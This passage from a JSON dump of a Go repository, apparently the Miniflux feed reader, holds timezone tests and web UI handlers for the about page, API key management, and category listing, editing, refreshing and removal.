slices.BinarySearch(timezones, timezone)\n\treturn found\n}\n\n// AvailableTimezones returns an iterator over supported timezone names.\nfunc AvailableTimezones() iter.Seq[string] {\n\treturn func(yield func(string) bool) {\n\t\tfor _, tz := range timezones {\n\t\t\tif !yield(tz) {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/timezone/timezone_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage timezone // import \"miniflux.app/v2/internal/timezone\"\n\nimport (\n\t\"slices\"\n\t\"testing\"\n\t\"time\"\n\n\t// Make sure these tests pass when the timezone database is not installed on the host system.\n\t_ \"time/tzdata\"\n)\n\nfunc TestNow(t *testing.T) {\n\ttz := \"Europe/Paris\"\n\tnow := Now(tz)\n\n\tif now.Location().String() != tz {\n\t\tt.Fatalf(`Unexpected timezone, got %q instead of %q`, now.Location(), tz)\n\t}\n}\n\nfunc TestNowWithInvalidTimezone(t *testing.T) {\n\ttz := \"Invalid Timezone\"\n\texpected := time.Local\n\tnow := Now(tz)\n\n\tif now.Location().String() != expected.String() {\n\t\tt.Fatalf(`Unexpected timezone, got %q instead of %q`, now.Location(), expected)\n\t}\n}\n\nfunc TestConvertTimeWithNoTimezoneInformation(t *testing.T) {\n\ttz := \"Canada/Pacific\"\n\tinput := time.Date(2018, 3, 1, 14, 2, 3, 0, time.FixedZone(\"\", 0))\n\toutput := Convert(tz, input)\n\n\tif output.Location().String() != tz {\n\t\tt.Fatalf(`Unexpected timezone, got %q instead of %s`, output.Location(), tz)\n\t}\n\n\thours, minutes, secs := output.Clock()\n\tif hours != 14 || minutes != 2 || secs != 3 {\n\t\tt.Fatalf(`Unexpected time, got hours=%d, minutes=%d, secs=%d`, hours, minutes, secs)\n\t}\n}\n\nfunc TestConvertTimeWithDifferentTimezone(t *testing.T) {\n\ttz := \"Canada/Central\"\n\tinput := time.Date(2018, 3, 1, 14, 2, 3, 0, time.UTC)\n\toutput := Convert(tz, input)\n\n\tif output.Location().String() != tz {\n\t\tt.Fatalf(`Unexpected timezone, got %q instead of %s`, output.Location(), tz)\n\t}\n\n\thours, minutes, secs := output.Clock()\n\tif hours != 8 || minutes != 2 || secs != 3 {\n\t\tt.Fatalf(`Unexpected time, got hours=%d, minutes=%d, secs=%d`, hours, minutes, secs)\n\t}\n}\n\nfunc TestConvertTimeWithIdenticalTimezone(t *testing.T) {\n\ttz := \"Canada/Central\"\n\tloc, _ := time.LoadLocation(tz)\n\tinput := time.Date(2018, 3, 1, 14, 2, 3, 0, loc)\n\toutput := Convert(tz, input)\n\n\tif output.Location().String() != tz {\n\t\tt.Fatalf(`Unexpected timezone, got %q instead of %s`, output.Location(), tz)\n\t}\n\n\thours, minutes, secs := output.Clock()\n\tif hours != 14 || minutes != 2 || secs != 3 {\n\t\tt.Fatalf(`Unexpected time, got hours=%d, minutes=%d, secs=%d`, hours, minutes, secs)\n\t}\n}\n\nfunc TestConvertPostgresDateTimeWithNegativeTimezoneOffset(t *testing.T) {\n\ttz := \"US/Eastern\"\n\tinput := time.Date(0, 1, 1, 0, 0, 0, 0, time.FixedZone(\"\", -5))\n\toutput := Convert(tz, input)\n\n\tif output.Location().String() != tz {\n\t\tt.Fatalf(`Unexpected timezone, got %q instead of %s`, output.Location(), tz)\n\t}\n\n\tif year := output.Year(); year != 0 {\n\t\tt.Fatalf(`Unexpected year, got %d instead of 0`, year)\n\t}\n}\n\nfunc TestIsValid(t *testing.T) {\n\tvalidTZ := []string{\n\t\t\"Antarctica/Davis\",\n\t\t\"GMT\",\n\t\t\"UTC\",\n\t}\n\n\tfor _, tz := range validTZ {\n\t\tif !IsValid(tz) {\n\t\t\tt.Fatalf(`Timezone %q should be valid an it's not`, tz)\n\t\t}\n\t}\n\n\tinvalidTZ := []string{\n\t\t\"MAP\",\n\t\t\"Europe/Fronce\",\n\t}\n\n\tfor _, tz := range invalidTZ {\n\t\tif IsValid(tz) {\n\t\t\tt.Fatalf(`Timezone %q should be invalid an it's not`, tz)\n\t\t}\n\t}\n}\n\nfunc TestAvailableTimezones(t *testing.T) {\n\tvar got []string\n\n\tfor tz := range AvailableTimezones() {\n\t\tgot = append(got, tz)\n\t}\n\n\tif !slices.Equal(got, timezones) {\n\t\tt.Fatalf(\"available timezones differ from source slice: expected %d entries, got %d\", len(timezones), len(got))\n\t}\n}\n"
  },
  {
    "path": "internal/ui/about.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nfunc (h *handler) showAboutPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tdbSize, dbErr := h.store.DBSize()\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"version\", version.Version)\n\tview.Set(\"commit\", version.Commit)\n\tview.Set(\"build_date\", version.BuildDate)\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"globalConfigOptions\", config.Opts.ConfigMap(true))\n\tview.Set(\"postgres_version\", h.store.DatabaseVersion())\n\tview.Set(\"go_version\", runtime.Version())\n\n\tif dbErr != nil {\n\t\tview.Set(\"db_usage\", dbErr)\n\t} else {\n\t\tview.Set(\"db_usage\", dbSize)\n\t}\n\n\tresponse.HTML(w, r, view.Render(\"about\"))\n}\n"
  },
  {
    "path": "internal/ui/api_key_create.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showCreateAPIKeyPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", &form.APIKeyForm{})\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"create_api_key\"))\n}\n"
  },
  {
    "path": "internal/ui/api_key_list.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showAPIKeysPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tapiKeys, err := h.store.APIKeys(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"apiKeys\", apiKeys)\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"api_keys\"))\n}\n"
  },
  {
    "path": "internal/ui/api_key_remove.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) deleteAPIKey(w http.ResponseWriter, r *http.Request) {\n\tkeyID := request.RouteInt64Param(r, \"keyID\")\n\tif err := h.store.DeleteAPIKey(request.UserID(r), keyID); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/keys\"))\n}\n"
  },
  {
    "path": "internal/ui/api_key_save.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) saveAPIKey(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tapiKeyForm := form.NewAPIKeyForm(r)\n\tapiKeyCreationRequest := &model.APIKeyCreationRequest{\n\t\tDescription: apiKeyForm.Description,\n\t}\n\n\tif validationErr := validator.ValidateAPIKeyCreation(h.store, user.ID, apiKeyCreationRequest); validationErr != nil {\n\t\tsess := session.New(h.store, request.SessionID(r))\n\t\tview := view.New(h.tpl, r, sess)\n\t\tview.Set(\"form\", apiKeyForm)\n\t\tview.Set(\"menu\", \"settings\")\n\t\tview.Set(\"user\", user)\n\t\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\t\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\t\tview.Set(\"errorMessage\", validationErr.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"create_api_key\"))\n\t\treturn\n\t}\n\n\tif _, err = h.store.CreateAPIKey(user.ID, apiKeyCreationRequest.Description); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/keys\"))\n}\n"
  },
  {
    "path": "internal/ui/category_create.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showCreateCategoryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"create_category\"))\n}\n"
  },
  {
    "path": "internal/ui/category_edit.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showEditCategoryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategory, err := h.store.Category(request.UserID(r), request.RouteInt64Param(r, \"categoryID\"))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tcategoryForm := form.CategoryForm{\n\t\tTitle:        category.Title,\n\t\tHideGlobally: category.HideGlobally,\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", categoryForm)\n\tview.Set(\"category\", category)\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"edit_category\"))\n}\n"
  },
  {
    "path": "internal/ui/category_entries.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showCategoryEntriesPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tcategory, err := h.store.Category(request.UserID(r), categoryID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithCategoryID(category.ID)\n\tbuilder.WithSorting(user.EntryOrder, user.EntryDirection)\n\tbuilder.WithSorting(\"id\", user.EntryDirection)\n\tbuilder.WithStatus(model.EntryStatusUnread)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"category\", category)\n\tview.Set(\"total\", count)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/category/%d/entries\", category.ID), count, offset, user.EntriesPerPage))\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\tview.Set(\"showOnlyUnreadEntries\", true)\n\n\tresponse.HTML(w, r, view.Render(\"category_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/category_entries_all.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showCategoryEntriesAllPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tcategory, err := h.store.Category(request.UserID(r), categoryID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithCategoryID(category.ID)\n\tbuilder.WithSorting(user.EntryOrder, user.EntryDirection)\n\tbuilder.WithSorting(\"id\", user.EntryDirection)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"category\", category)\n\tview.Set(\"total\", count)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/category/%d/entries/all\", category.ID), count, offset, user.EntriesPerPage))\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\tview.Set(\"showOnlyUnreadEntries\", false)\n\n\tresponse.HTML(w, r, view.Render(\"category_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/category_entries_starred.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showCategoryEntriesStarredPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tcategory, err := h.store.Category(request.UserID(r), categoryID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithCategoryID(category.ID)\n\tbuilder.WithSorting(user.EntryOrder, user.EntryDirection)\n\tbuilder.WithSorting(\"id\", user.EntryDirection)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithStarred(true)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"category\", category)\n\tview.Set(\"total\", count)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/category/%d/entries/starred\", category.ID), count, offset, user.EntriesPerPage))\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\tview.Set(\"showOnlyStarredEntries\", true)\n\n\tresponse.HTML(w, r, view.Render(\"category_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/category_feeds.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showCategoryFeedsPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tcategory, err := h.store.Category(request.UserID(r), categoryID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tfeeds, err := h.store.FeedsByCategoryWithCounters(user.ID, categoryID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"category\", category)\n\tview.Set(\"feeds\", feeds)\n\tview.Set(\"total\", len(feeds))\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"category_feeds\"))\n}\n"
  },
  {
    "path": "internal/ui/category_list.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showCategoryListPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategories, err := h.store.CategoriesWithFeedCount(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"categories\", categories)\n\tview.Set(\"total\", len(categories))\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"categories\"))\n}\n"
  },
  {
    "path": "internal/ui/category_mark_as_read.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) markCategoryAsRead(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\n\tcategory, err := h.store.Category(userID, categoryID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err = h.store.MarkCategoryAsRead(userID, categoryID, time.Now()); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/categories\"))\n}\n"
  },
  {
    "path": "internal/ui/category_refresh.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"log/slog\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/ui/session\"\n)\n\nfunc (h *handler) refreshCategoryEntriesPage(w http.ResponseWriter, r *http.Request) {\n\tcategoryID := h.refreshCategory(w, r)\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/category/%d/entries\", categoryID))\n}\n\nfunc (h *handler) refreshCategoryFeedsPage(w http.ResponseWriter, r *http.Request) {\n\tcategoryID := h.refreshCategory(w, r)\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/category/%d/feeds\", categoryID))\n}\n\nfunc (h *handler) refreshCategory(w http.ResponseWriter, r *http.Request) int64 {\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tprinter := locale.NewPrinter(request.UserLanguage(r))\n\tsess := session.New(h.store, request.SessionID(r))\n\n\t// Avoid accidental and excessive refreshes.\n\tif time.Since(request.LastForceRefresh(r)) < config.Opts.ForceRefreshInterval() {\n\t\tinterval := int(config.Opts.ForceRefreshInterval().Minutes())\n\t\tsess.NewFlashErrorMessage(printer.Plural(\"alert.too_many_feeds_refresh\", interval, interval))\n\t} else {\n\t\tuserID := request.UserID(r)\n\t\t// We allow the end-user to force refresh all its feeds in this category\n\t\t// without taking into consideration the number of errors.\n\t\tbatchBuilder := h.store.NewBatchBuilder()\n\t\tbatchBuilder.WithoutDisabledFeeds()\n\t\tbatchBuilder.WithUserID(userID)\n\t\tbatchBuilder.WithCategoryID(categoryID)\n\t\tbatchBuilder.WithLimitPerHost(config.Opts.PollingLimitPerHost())\n\n\t\tjobs, err := batchBuilder.FetchJobs()\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn 0\n\t\t}\n\n\t\tslog.Info(\n\t\t\t\"Triggered a manual refresh of all feeds for a given category from the web ui\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"category_id\", categoryID),\n\t\t\tslog.Int(\"nb_jobs\", len(jobs)),\n\t\t)\n\n\t\tgo h.pool.Push(jobs)\n\n\t\tsess.SetLastForceRefresh()\n\t\tsess.NewFlashMessage(printer.Print(\"alert.background_feed_refresh\"))\n\t}\n\n\treturn categoryID\n}\n"
  },
  {
    "path": "internal/ui/category_remove.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) removeCategory(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tcategory, err := h.store.Category(request.UserID(r), categoryID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err := h.store.RemoveCategory(user.ID, category.ID); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/categories\"))\n}\n"
  },
  {
    "path": "internal/ui/category_remove_feed.go",
